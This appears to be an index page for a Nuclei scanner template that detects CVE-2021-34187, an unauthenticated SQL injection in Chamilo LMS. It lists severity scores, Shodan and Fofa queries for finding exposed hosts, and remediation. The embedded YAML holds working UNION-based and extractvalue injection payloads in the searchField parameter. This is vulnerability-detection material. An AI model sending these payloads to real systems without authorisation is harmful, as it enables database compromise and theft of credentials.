CVE-2021-34187: Chamilo model.ajax.php - SQL Injection
- Template: CVE-2021-34187
- Name: Chamilo model.ajax.php - SQL Injection
- Description: main/inc/ajax/model.ajax.php in Chamilo through 1.11.14 allows SQL Injection via the searchField, filters, or filters2 parameter.
- Impact: Unauthenticated attackers can exploit SQL injection via multiple parameters to extract database contents, potentially exposing all Chamilo LMS data including user credentials.
- Remediation: Upgrade to Chamilo version 1.11.15 or later.
- Severity: critical
- Authors: DhiyaneshDK
- Tags: cve, cve2021, chamilo, sqli, vkev, vuln
- References: https://murat.one/?p=118, https://nvd.nist.gov/vuln/detail/CVE-2021-34187
- Cves: CVE-2021-34187
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-34187.yaml
- Digest: 4a0a0047304502204e5c89f6bd71becde784be420a7611b5b771a5a1b0692ddd918de0c1a18910b8022100a8f807eebb29fa969d12405c9f37353c1e78aefe31443732af7e21fc9d232c29
- Created at: 2025-05-31T06:57:06Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 542
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34187.yaml
Classification
- Cwe: CWE-89
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.16181
- Epss percentile: 0.97016
- Cpe: cpe:2.3:a:chamilo:chamilo:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: banner="X-Powered-By: Chamilo"
- Max-request: 1
- Product: chamilo
- Shodan-query: X-Powered-By: Chamilo
- Vendor: chamilo
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| chamilo:chamilo | yes | /v1/products/chamilo/chamilo |
Labels
- Name: Chamilo - SQL Injection
- Impact: Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
- Remediation: Update to the latest version of Chamilo that patches this vulnerability or apply security patches provided by the vendor.
- Vulnerability type: sql_injection
- Vulnerability impact: information_disclosure, data_tampering
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2021-34187
- Not known: requirements
```yaml
id: CVE-2021-34187
info:
name: Chamilo model.ajax.php - SQL Injection
author: DhiyaneshDK
severity: critical
description: |
main/inc/ajax/model.ajax.php in Chamilo through 1.11.14 allows SQL Injection via the searchField, filters, or filters2 parameter.
impact: |
Unauthenticated attackers can exploit SQL injection via multiple parameters to extract database contents, potentially exposing all Chamilo LMS data including user credentials.
remediation: |
Upgrade to Chamilo version 1.11.15 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-34187
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-34187
cwe-id: CWE-89
epss-score: 0.16181
epss-percentile: 0.97016
cpe: cpe:2.3:a:chamilo:chamilo:*:*:*:*:*:*:*:*
metadata:
vendor: chamilo
product: chamilo
shodan-query: "X-Powered-By: Chamilo"
fofa-query: 'banner="X-Powered-By: Chamilo"'
verified: true
max-request: 1
tags: cve,cve2021,chamilo,sqli,vkev,vuln
variables:
num: "999999999"
http:
- method: GET
path:
- '{{BaseURL}}/main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+md5({{num}}))),NULL,NULL,NULL--%20-)and((1=&searchOper=ni&searchString=testx&filters2={}&from_course_session=0'
- '{{BaseURL}}/main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+extractvalue(0x0a,concat(0x0a,(md5({{num}})))))),NULL,NULL,NULL--%20-)and((1=&searchOper=ni&searchString=testx&filters2={}&from_course_session=0'
- '{{BaseURL}}/main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+md5({{num}}))),NULL,NULL,NULL--%20-)and((1=&searchOper=ni&searchString=testx&filters2={}&from_course_session=0'
- '{{BaseURL}}/main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+extractvalue(0x0a,concat(0x0a,(md5({{num}})))))),NULL,NULL,NULL--%20-)and((1=&searchOper=ni&searchString=testx&filters2={}&from_course_session=0'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5({{num}})}}'
- type: word
part: content_type
words:
- 'application/json'
digest: 4a0a0047304502204e5c89f6bd71becde784be420a7611b5b771a5a1b0692ddd918de0c1a18910b8022100a8f807eebb29fa969d12405c9f37353c1e78aefe31443732af7e21fc9d232c29:922c64590222798bb761d5b6d8e72950
```